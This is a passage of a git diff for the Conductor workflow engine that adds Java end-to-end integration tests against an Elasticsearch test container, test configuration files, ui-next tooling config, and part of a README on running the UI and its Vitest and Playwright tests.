    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** Supplies the standard Conductor {@link ObjectMapper} for tests that need them. */ +@Configuration +public class TestObjectMapperConfiguration { + + @Bean + public ObjectMapper testObjectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } +} diff --git a/test-util/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java b/test-util/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java new file mode 100644 index 0000000..c629f80 --- /dev/null +++ b/test-util/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java @@ -0,0 +1,286 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.io.Reader; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Optional; + +import org.apache.http.HttpHost; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.Test; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; + +@TestPropertySource( + properties = {"conductor.indexing.enabled=true", "conductor.elasticsearch.version=7"}) +public abstract class AbstractEndToEndTest { + + private static final Logger log = LoggerFactory.getLogger(AbstractEndToEndTest.class); + + private static final String TASK_DEFINITION_PREFIX = "task_"; + private static final String DEFAULT_DESCRIPTION = "description"; + // Represents null value deserialized from the redis in memory db + private static final String DEFAULT_NULL_VALUE = "null"; + protected static final String DEFAULT_EMAIL_ADDRESS = "test@harness.com"; + + private static final ElasticsearchContainer container = + new ElasticsearchContainer( + DockerImageName.parse("elasticsearch") + .withTag("7.17.11")); // this should match the client version + + private static RestClient restClient; + + // Initialization happens in a static block so the container is initialized + // only once for all the sub-class tests in a CI environment + // container is stopped when JVM exits + // https://www.testcontainers.org/test_framework_integration/manual_lifecycle_control/#singleton-containers + static { + container.start(); + String httpHostAddress = container.getHttpHostAddress(); + System.setProperty("conductor.elasticsearch.url", "http://" + httpHostAddress); + System.setProperty("conductor.elasticsearch.url", "http://" + httpHostAddress); + log.info("Initialized Elasticsearch {}", container.getContainerId()); + } + + @BeforeClass + public static void initializeEs() { + String httpHostAddress = container.getHttpHostAddress(); + String host = httpHostAddress.split(":")[0]; + int port = Integer.parseInt(httpHostAddress.split(":")[1]); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(host, port, "http")); + restClient = restClientBuilder.build(); + } + + @AfterClass + public static void cleanupEs() throws Exception { + // deletes all indices + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + String[] fields = line.split("\\s"); + String endpoint = String.format("/%s", fields[2]); + + restClient.performRequest(new Request("DELETE", endpoint)); + } + + if (restClient != null) { + restClient.close(); + } + } + + @Test + public void testEphemeralWorkflowsWithStoredTasks() { + String workflowExecutionName = "testEphemeralWorkflow"; + + createAndRegisterTaskDefinitions("storedTaskDef", 5); + WorkflowDef workflowDefinition = createWorkflowDefinition(workflowExecutionName); + WorkflowTask workflowTask1 = createWorkflowTask("storedTaskDef1"); + WorkflowTask workflowTask2 = createWorkflowTask("storedTaskDef2"); + workflowDefinition.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + } + + @Test + public void testEphemeralWorkflowsWithEphemeralTasks() { + String workflowExecutionName = "ephemeralWorkflowWithEphemeralTasks"; + + WorkflowDef workflowDefinition = createWorkflowDefinition(workflowExecutionName); + WorkflowTask workflowTask1 = createWorkflowTask("ephemeralTask1"); + TaskDef taskDefinition1 = createTaskDefinition("ephemeralTaskDef1"); + workflowTask1.setTaskDefinition(taskDefinition1); + WorkflowTask workflowTask2 = createWorkflowTask("ephemeralTask2"); + TaskDef taskDefinition2 = createTaskDefinition("ephemeralTaskDef2"); + workflowTask2.setTaskDefinition(taskDefinition2); + workflowDefinition.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + + List ephemeralTasks = ephemeralWorkflow.getTasks(); + assertEquals(2, ephemeralTasks.size()); + for (WorkflowTask ephemeralTask : ephemeralTasks) { + assertNotNull(ephemeralTask.getTaskDefinition()); + } + } + + @Test + public void testEphemeralWorkflowsWithEphemeralAndStoredTasks() { + createAndRegisterTaskDefinitions("storedTask", 1); + + WorkflowDef workflowDefinition = + createWorkflowDefinition("testEphemeralWorkflowsWithEphemeralAndStoredTasks"); + + WorkflowTask workflowTask1 = createWorkflowTask("ephemeralTask1"); + TaskDef taskDefinition1 = createTaskDefinition("ephemeralTaskDef1"); + workflowTask1.setTaskDefinition(taskDefinition1); + + WorkflowTask workflowTask2 = createWorkflowTask("storedTask0"); + + workflowDefinition.getTasks().add(workflowTask1); + workflowDefinition.getTasks().add(workflowTask2); + + String workflowExecutionName = "ephemeralWorkflowWithEphemeralAndStoredTasks"; + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + + TaskDef storedTaskDefinition = getTaskDefinition("storedTask0"); + List tasks = ephemeralWorkflow.getTasks(); + assertEquals(2, tasks.size()); + assertEquals(workflowTask1, tasks.get(0)); + TaskDef currentStoredTaskDefinition = tasks.get(1).getTaskDefinition(); + assertNotNull(currentStoredTaskDefinition); + assertEquals(storedTaskDefinition, currentStoredTaskDefinition); + } + + @Test + public void testEventHandler() { + String eventName = "conductor:test_workflow:complete_task_with_event"; + EventHandler eventHandler = new EventHandler(); + eventHandler.setName("test_complete_task_event"); + EventHandler.Action completeTaskAction = new EventHandler.Action(); + completeTaskAction.setAction(EventHandler.Action.Type.complete_task); + completeTaskAction.setComplete_task(new EventHandler.TaskDetails()); + completeTaskAction.getComplete_task().setTaskRefName("test_task"); + completeTaskAction.getComplete_task().setWorkflowId("test_id"); + completeTaskAction.getComplete_task().setOutput(new HashMap<>()); + eventHandler.getActions().add(completeTaskAction); + eventHandler.setEvent(eventName); + eventHandler.setActive(true); + registerEventHandler(eventHandler); + + Iterator it = getEventHandlers(eventName, true); + EventHandler result = it.next(); + assertFalse(it.hasNext()); + assertEquals(eventHandler.getName(), result.getName()); + } + + protected WorkflowTask createWorkflowTask(String name) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName(name); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName(name); + workflowTask.setDescription(getDefaultDescription(name)); + workflowTask.setDynamicTaskNameParam(DEFAULT_NULL_VALUE); + workflowTask.setCaseValueParam(DEFAULT_NULL_VALUE); + workflowTask.setCaseExpression(DEFAULT_NULL_VALUE); + workflowTask.setDynamicForkTasksParam(DEFAULT_NULL_VALUE); + workflowTask.setDynamicForkTasksInputParamName(DEFAULT_NULL_VALUE); + workflowTask.setSink(DEFAULT_NULL_VALUE); + workflowTask.setEvaluatorType(DEFAULT_NULL_VALUE); + workflowTask.setExpression(DEFAULT_NULL_VALUE); + return workflowTask; + } + + protected TaskDef createTaskDefinition(String name) { + TaskDef taskDefinition = new TaskDef(); + taskDefinition.setName(name); + return taskDefinition; + } + + protected WorkflowDef createWorkflowDefinition(String workflowName) { + WorkflowDef workflowDefinition = new WorkflowDef(); + workflowDefinition.setName(workflowName); + workflowDefinition.setDescription(getDefaultDescription(workflowName)); + workflowDefinition.setFailureWorkflow(DEFAULT_NULL_VALUE); + workflowDefinition.setOwnerEmail(DEFAULT_EMAIL_ADDRESS); + return workflowDefinition; + } + + protected List createAndRegisterTaskDefinitions( + String prefixTaskDefinition, int numberOfTaskDefinitions) { + String prefix = Optional.ofNullable(prefixTaskDefinition).orElse(TASK_DEFINITION_PREFIX); + List definitions = new LinkedList<>(); + for (int i = 0; i < numberOfTaskDefinitions; i++) { + TaskDef def = + new TaskDef( + prefix + i, + "task " + i + DEFAULT_DESCRIPTION, + DEFAULT_EMAIL_ADDRESS, + 3, + 60, + 60); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY); + definitions.add(def); + } + this.registerTaskDefinitions(definitions); + return definitions; + } + + private String getDefaultDescription(String nameResource) { + return nameResource + " " + DEFAULT_DESCRIPTION; + } + + protected abstract String startWorkflow( + String workflowExecutionName, WorkflowDef workflowDefinition); + + protected abstract Workflow getWorkflow(String workflowId, boolean includeTasks); + + protected abstract TaskDef getTaskDefinition(String taskName); + + protected abstract void registerTaskDefinitions(List taskDefinitionList); + + protected abstract void registerWorkflowDefinition(WorkflowDef workflowDefinition); + + protected abstract void registerEventHandler(EventHandler eventHandler); + + protected abstract Iterator getEventHandlers(String event, boolean activeOnly); +} diff --git a/test-util/src/test/java/com/netflix/conductor/test/integration/grpc/AbstractGrpcEndToEndTest.java b/test-util/src/test/java/com/netflix/conductor/test/integration/grpc/AbstractGrpcEndToEndTest.java new file mode 100644 index 0000000..435e44e --- /dev/null +++ b/test-util/src/test/java/com/netflix/conductor/test/integration/grpc/AbstractGrpcEndToEndTest.java @@ -0,0 +1,323 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.grpc; + +import java.util.*; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.client.grpc.EventClient; +import com.netflix.conductor.client.grpc.MetadataClient; +import com.netflix.conductor.client.grpc.TaskClient; +import com.netflix.conductor.client.grpc.WorkflowClient; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskDef.TimeoutPolicy; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.test.integration.AbstractEndToEndTest; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +@RunWith(SpringRunner.class) +@SpringBootTest( + classes = ConductorTestApp.class, + properties = { + "conductor.grpc-server.enabled=true", + "conductor.grpc-server.port=8092", + "conductor.app.sweeper.enabled=false" + }) +@TestPropertySource(locations = "classpath:application-integrationtest.properties") +public abstract class AbstractGrpcEndToEndTest extends AbstractEndToEndTest { + + protected static TaskClient taskClient; + protected static WorkflowClient workflowClient; + protected static MetadataClient metadataClient; + protected static EventClient eventClient; + + @Override + protected String startWorkflow(String workflowExecutionName, WorkflowDef workflowDefinition) { + StartWorkflowRequest workflowRequest = + new StartWorkflowRequest() + .withName(workflowExecutionName) + .withWorkflowDef(workflowDefinition); + return workflowClient.startWorkflow(workflowRequest); + } + + @Override + protected Workflow getWorkflow(String workflowId, boolean includeTasks) { + return workflowClient.getWorkflow(workflowId, includeTasks); + } + + @Override + protected TaskDef getTaskDefinition(String taskName) { + return metadataClient.getTaskDef(taskName); + } + + @Override + protected void registerTaskDefinitions(List taskDefinitionList) { + metadataClient.registerTaskDefs(taskDefinitionList); + } + + @Override + protected void registerWorkflowDefinition(WorkflowDef workflowDefinition) { + metadataClient.registerWorkflowDef(workflowDefinition); + } + + @Override + protected void registerEventHandler(EventHandler eventHandler) { + eventClient.registerEventHandler(eventHandler); + } + + @Override + protected Iterator getEventHandlers(String event, boolean activeOnly) { + return eventClient.getEventHandlers(event, activeOnly); + } + + @Test + public void testAll() throws Exception { + assertNotNull(taskClient); + List defs = new LinkedList<>(); + for (int i = 0; i < 5; i++) { + TaskDef def = new TaskDef("t" + i, "task " + i, DEFAULT_EMAIL_ADDRESS, 3, 60, 60); + def.setTimeoutPolicy(TimeoutPolicy.RETRY); + defs.add(def); + } + metadataClient.registerTaskDefs(defs); + + for (int i = 0; i < 5; i++) { + final String taskName = "t" + i; + TaskDef def = metadataClient.getTaskDef(taskName); + assertNotNull(def); + assertEquals(taskName, def.getName()); + } + + WorkflowDef def = createWorkflowDefinition("test" + UUID.randomUUID()); + WorkflowTask t0 = createWorkflowTask("t0"); + WorkflowTask t1 = createWorkflowTask("t1"); + + def.getTasks().add(t0); + def.getTasks().add(t1); + + metadataClient.registerWorkflowDef(def); + WorkflowDef found = metadataClient.getWorkflowDef(def.getName(), null); + assertNotNull(found); + assertEquals(def, found); + + String correlationId = "test_corr_id"; + StartWorkflowRequest startWf = new StartWorkflowRequest(); + startWf.setName(def.getName()); + startWf.setCorrelationId(correlationId); + + String workflowId = workflowClient.startWorkflow(startWf); + assertNotNull(workflowId); + + Workflow workflow = workflowClient.getWorkflow(workflowId, false); + assertEquals(0, workflow.getTasks().size()); + assertEquals(workflowId, workflow.getWorkflowId()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(workflowId, workflow.getWorkflowId()); + + List runningIds = + workflowClient.getRunningWorkflow(def.getName(), def.getVersion()); + assertNotNull(runningIds); + assertEquals(1, runningIds.size()); + assertEquals(workflowId, runningIds.get(0)); + + List polled = + taskClient.batchPollTasksByTaskType("non existing task", "test", 1, 100); + assertNotNull(polled); + assertEquals(0, polled.size()); + + // Wait for the workflow engine to schedule the task to the queue + List tasks = new java.util.ArrayList<>(); + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + List polledTasks = + taskClient.batchPollTasksByTaskType( + t0.getName(), "test", 1, 100); + assertNotNull(polledTasks); + assertEquals(1, polledTasks.size()); + assertEquals(t0.getName(), polledTasks.get(0).getTaskDefName()); + tasks.clear(); + tasks.addAll(polledTasks); + }); + Task task = tasks.get(0); + + task.getOutputData().put("key1", "value1"); + task.setStatus(Status.COMPLETED); + taskClient.updateTask(new TaskResult(task)); + + polled = taskClient.batchPollTasksByTaskType(t0.getName(), "test", 1, 100); + assertNotNull(polled); + assertTrue(polled.toString(), polled.isEmpty()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(2, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(t1.getTaskReferenceName(), workflow.getTasks().get(1).getReferenceTaskName()); + assertEquals(Status.COMPLETED, workflow.getTasks().get(0).getStatus()); + assertEquals(Status.SCHEDULED, workflow.getTasks().get(1).getStatus()); + + Task taskById = taskClient.getTaskDetails(task.getTaskId()); + assertNotNull(taskById); + assertEquals(task.getTaskId(), taskById.getTaskId()); + + // Wait for Elasticsearch/OpenSearch to index the workflow and tasks + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult searchResult = + workflowClient.search("workflowType='" + def.getName() + "'"); + assertNotNull(searchResult); + assertEquals(1, searchResult.getTotalHits()); + assertEquals( + workflowId, searchResult.getResults().get(0).getWorkflowId()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult searchResultV2 = + workflowClient.searchV2("workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2); + assertEquals(1, searchResultV2.getTotalHits()); + assertEquals( + workflowId, searchResultV2.getResults().get(0).getWorkflowId()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult searchResultAdvanced = + workflowClient.search( + 0, + 1, + null, + null, + "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultAdvanced); + assertEquals(1, searchResultAdvanced.getTotalHits()); + assertEquals( + workflowId, + searchResultAdvanced.getResults().get(0).getWorkflowId()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult searchResultV2Advanced = + workflowClient.searchV2( + 0, + 1, + null, + null, + "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2Advanced); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals( + workflowId, + searchResultV2Advanced.getResults().get(0).getWorkflowId()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult taskSearchResult = + taskClient.search("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResult); + assertEquals(1, taskSearchResult.getTotalHits()); + assertEquals( + t0.getName(), + taskSearchResult.getResults().get(0).getTaskDefName()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult taskSearchResultAdvanced = + taskClient.search( + 0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultAdvanced); + assertEquals(1, taskSearchResultAdvanced.getTotalHits()); + assertEquals( + t0.getName(), + taskSearchResultAdvanced.getResults().get(0).getTaskDefName()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult taskSearchResultV2 = + taskClient.searchV2("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2); + assertEquals(1, taskSearchResultV2.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2.getResults().get(0).getReferenceTaskName()); + }); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult taskSearchResultV2Advanced = + taskClient.searchV2( + 0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2Advanced); + assertEquals(1, taskSearchResultV2Advanced.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2Advanced + .getResults() + .get(0) + .getReferenceTaskName()); + }); + + workflowClient.terminateWorkflow(workflowId, "terminate reason"); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.TERMINATED, workflow.getStatus()); + + workflowClient.restart(workflowId, false); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + } +} diff --git a/test-util/src/test/resources/application-integrationtest.properties b/test-util/src/test/resources/application-integrationtest.properties new file mode 100644 index 0000000..8d61fb3 --- /dev/null +++ b/test-util/src/test/resources/application-integrationtest.properties @@ -0,0 +1,40 @@ +conductor.db.type=memory +# disable trying to connect to redis and use in-memory +conductor.queue.type=xxx +conductor.workflow-execution-lock.type=local_only +conductor.external-payload-storage.type=dummy +conductor.indexing.enabled=true +conductor.indexing.type=postgres + +conductor.app.stack=test +conductor.app.appId=conductor + +conductor.app.workflow-offset-timeout=30s + +conductor.system-task-workers.enabled=false +conductor.app.system-task-worker-callback-duration=0 + +conductor.app.event-message-indexing-enabled=true +conductor.app.event-execution-indexing-enabled=true + +conductor.app.workflow-execution-lock-enabled=false + +conductor.app.workflow-input-payload-size-threshold=10KB +conductor.app.max-workflow-input-payload-size-threshold=10240KB +conductor.app.workflow-output-payload-size-threshold=10KB +conductor.app.max-workflow-output-payload-size-threshold=10240KB +conductor.app.task-input-payload-size-threshold=10KB +conductor.app.max-task-input-payload-size-threshold=10240KB +conductor.app.task-output-payload-size-threshold=10KB +conductor.app.max-task-output-payload-size-threshold=10240KB +conductor.app.max-workflow-variables-payload-size-threshold=2KB + +conductor.redis.availability-zone=us-east-1c +conductor.redis.data-center-region=us-east-1 +conductor.redis.workflow-namespace-prefix=integration-test +conductor.redis.queue-namespace-prefix=integtest + +conductor.indexing.index-prefix=conductor +conductor.indexing.cluster-health-color=yellow + +management.metrics.export.datadog.enabled=false diff --git a/ui-next/.env b/ui-next/.env new file mode 100644 index 0000000..4e5b3ad --- /dev/null +++ b/ui-next/.env @@ -0,0 +1,8 @@ +# OSS Conductor UI – defaults for local dev + +# Backend API (Conductor server). Default: local server. +VITE_WF_SERVER=http://localhost:8080 + +# Optional +# VITE_PUBLIC_URL=/ +# GENERATE_SOURCEMAP=false diff --git a/ui-next/.gitignore b/ui-next/.gitignore new file mode 100644 index 0000000..a9dbdb6 --- /dev/null +++ b/ui-next/.gitignore @@ -0,0 +1,31 @@ +# Dependencies +node_modules + +# Local env (may contain secrets) +.env.local +.env.*.local + +# Build output +dist +build +storybook-static + +# Test / Playwright +/test-results/ +/playwright-report/ +/playwright-integration-report/ +/playwright-snapshots-report/ +/playwright/.cache/ + +# pnpm store (created inside project when running in Docker) +.pnpm-store/ + +# Turbo +.turbo + +# Vite +.vite + +# IDE / OS +.DS_Store + diff --git a/ui-next/.husky/pre-commit b/ui-next/.husky/pre-commit new file mode 100755 index 0000000..2875413 --- /dev/null +++ b/ui-next/.husky/pre-commit @@ -0,0 +1,4 @@ +cd ui-next +pnpm lint-staged +pnpm typecheck +pnpm test diff --git a/ui-next/.npmrc b/ui-next/.npmrc new file mode 100644 index 0000000..e70818b --- /dev/null +++ b/ui-next/.npmrc @@ -0,0 +1,6 @@ +# Hoist these packages so they are directly importable without needing explicit +# devDependency declarations for each transitive package. +public-hoist-pattern[]=@mui/* +public-hoist-pattern[]=@use-gesture/* +public-hoist-pattern[]=@eslint/* +public-hoist-pattern[]=monaco-editor \ No newline at end of file diff --git a/ui-next/.prettierignore b/ui-next/.prettierignore new file mode 100644 index 0000000..08437e2 --- /dev/null +++ b/ui-next/.prettierignore @@ -0,0 +1,10 @@ +build +storybook-static +/test-results/ +/playwright-report/ +/playwright/.cache/ +tests-examples +playwright +public/context.js +/dist/ +pnpm-lock.yaml diff --git a/ui-next/.prettierrc.json b/ui-next/.prettierrc.json new file mode 100644 index 0000000..0967ef4 --- /dev/null +++ b/ui-next/.prettierrc.json @@ -0,0 +1 @@ +{} diff --git a/ui-next/README.md b/ui-next/README.md new file mode 100644 index 0000000..9d9ece3 --- /dev/null +++ b/ui-next/README.md @@ -0,0 +1,403 @@ +# Conductor UI v2 + +The open-source React UI for [Conductor](https://github.com/conductor-oss/conductor). It ships as both a **standalone web application** and an **npm library** that enterprise packages can extend via a plugin system. + +## Running locally + +### Prerequisites + +- Node.js 18+ +- [pnpm](https://pnpm.io/) 10.x — we use pnpm 10 (not v11) since pnpm v11 requires Node.js v22+. The exact version is pinned via `packageManager` in `package.json`. Run once to activate it: + ```bash + corepack enable + ``` +- A running Conductor server (default: `http://localhost:8080`) + +### Setup + +```bash +pnpm install +``` + +Configure the backend URL in `.env` (see `.env` for defaults): + +```bash +VITE_WF_SERVER=http://localhost:8080 +``` + +### Start the dev server + +```bash +pnpm dev +``` + +The app will be available at `http://localhost:1234`. + +### Runtime configuration + +The app reads runtime config from `public/context.js`, which is loaded at startup (not bundled). Copy the example and edit as needed: + +```bash +cp public/context.js.example public/context.js +``` + +This file sets feature flags (`window.conductor`) and auth config (`window.authConfig`) without requiring a rebuild. + +## Available scripts + +| Script | Description | +| ---------------------------------- | -------------------------------------------------- | +| `pnpm dev` | Start dev server with HMR | +| `pnpm build` | Build standalone app to `dist/` | +| `pnpm build:lib` | Build npm library to `dist/` | +| `pnpm build:all` | Build both app and library | +| `pnpm lint` | Run ESLint | +| `pnpm lint:fix` | Run ESLint with auto-fix | +| `pnpm prettier:check` | Check formatting | +| `pnpm prettier:write` | Auto-format all files | +| `pnpm typecheck` | Type-check without emitting | +| `pnpm test` | Run Vitest unit tests (single pass) | +| `pnpm test:watch` | Run Vitest in watch mode | +| `pnpm test:coverage` | Run Vitest with v8 coverage report | +| `pnpm test:e2e` | Run Playwright UI tests (mocked backend, headless) | +| `pnpm test:e2e:ui` | Open the Playwright interactive UI | +| `pnpm test:e2e:headed` | Run UI tests in a visible browser | +| `pnpm test:e2e:debug` | Step through UI tests in the Playwright debugger | +| `pnpm test:e2e:integration` | Run integration tests against a live backend | +| `pnpm test:e2e:integration:ui` | Integration tests in Playwright interactive UI | +| `pnpm test:e2e:integration:headed` | Integration tests in a visible browser | + +## Testing + +### Unit tests (Vitest) + +Tests live alongside source files as `*.test.{ts,tsx}` and run in jsdom. +They cover utilities, state machines, and component logic without a browser or server. + +```bash +pnpm test # single run +pnpm test:watch # re-runs on file change +pnpm test:coverage # produces coverage/index.html +``` + +### E2E tests (Playwright) + +E2E tests live in `e2e/` and are run by Playwright against a real Chromium +browser. Every test mocks the Conductor backend with `page.route()`, so **no +running Conductor server is required** — the suite works entirely against the +built-in Vite dev server. + +#### First-time setup + +Install the Playwright browser binaries (one-time per machine): + +```bash +pnpm exec playwright install --with-deps chromium +``` + +#### Running locally + +```bash +# Headless (fastest) — reuses a running dev server on :1234 if one exists +pnpm test:e2e + +# Interactive Playwright UI — best for writing and debugging tests +pnpm test:e2e:ui + +# Watch the browser run the tests +pnpm test:e2e:headed + +# Step through a single test with the Playwright debugger +pnpm test:e2e:debug + +# Run one file +pnpm test:e2e e2e/smoke.spec.ts + +# Run tests whose name matches a pattern +pnpm test:e2e --grep "navigates to" +``` + +If `pnpm dev` is already running on port 1234, Playwright reuses that server. +If nothing is running, it starts a dev server automatically for the test run. + +#### Running in CI + +Set `CI=true` (GitHub Actions does this automatically) and run: + +```bash +pnpm exec playwright install --with-deps chromium +pnpm test:e2e +``` + +With `CI=true` the config: + +- Always starts a fresh dev server (never reuses an existing one) +- Retries each failing test up to 2 times before marking it failed +- Uses a single worker to avoid resource contention + +Example GitHub Actions job: + +```yaml +- name: Install Playwright browsers + run: pnpm exec playwright install --with-deps chromium + +- name: Run E2E tests + run: pnpm test:e2e + +- name: Upload Playwright report + if: always() + uses: actions/upload-artifact@v4 + with: + name: playwright-report + path: playwright-report/ + retention-days: 7 +``` + +### Integration tests (Playwright + live backend) + +Integration tests live in `e2e/integration/` and use a separate config, +`playwright.integration.config.ts`. They talk to a real Conductor server and +verify the full stack end-to-end: the API client creates test data, the +browser navigates through the UI, and assertions confirm the data is rendered +correctly. Docker is managed automatically — no manual server management is +required. + +#### How it works + +1. **Global setup** (`e2e/integration/global-setup.ts`) checks whether a + Conductor server is already listening on port 8000. If not, it builds the + `conductor:server` Docker image if needed (uses layer cache after first run), + then starts `docker/docker-compose-ui-e2e.yaml` and waits for the `/health` + endpoint to return 200 (up to 4 minutes to account for cold JVM starts). +2. The app is **built with `vite build`** and then **served with `vite preview`**, + with `VITE_WF_SERVER=http://localhost:8000` passed to the preview server so + its `/api` proxy forwards requests to the Docker backend. Tests run against + the production bundle — the same artifact that gets deployed. +3. Each test file uses `e2e/integration/api-client.ts` to create isolated test + data (unique names per run) and cleans up in `afterAll`. +4. **Global teardown** stops the Docker stack only if setup started it — a + backend you started yourself before running the tests is left untouched. + +#### Running integration tests locally + +**Prerequisites:** Docker must be running. + +```bash +pnpm test:e2e:integration +``` + +This single command does everything automatically: + +1. Builds the `conductor:server` Docker image if it does not already exist + locally — slow the first time (~5–10 min) but Docker's layer cache makes + 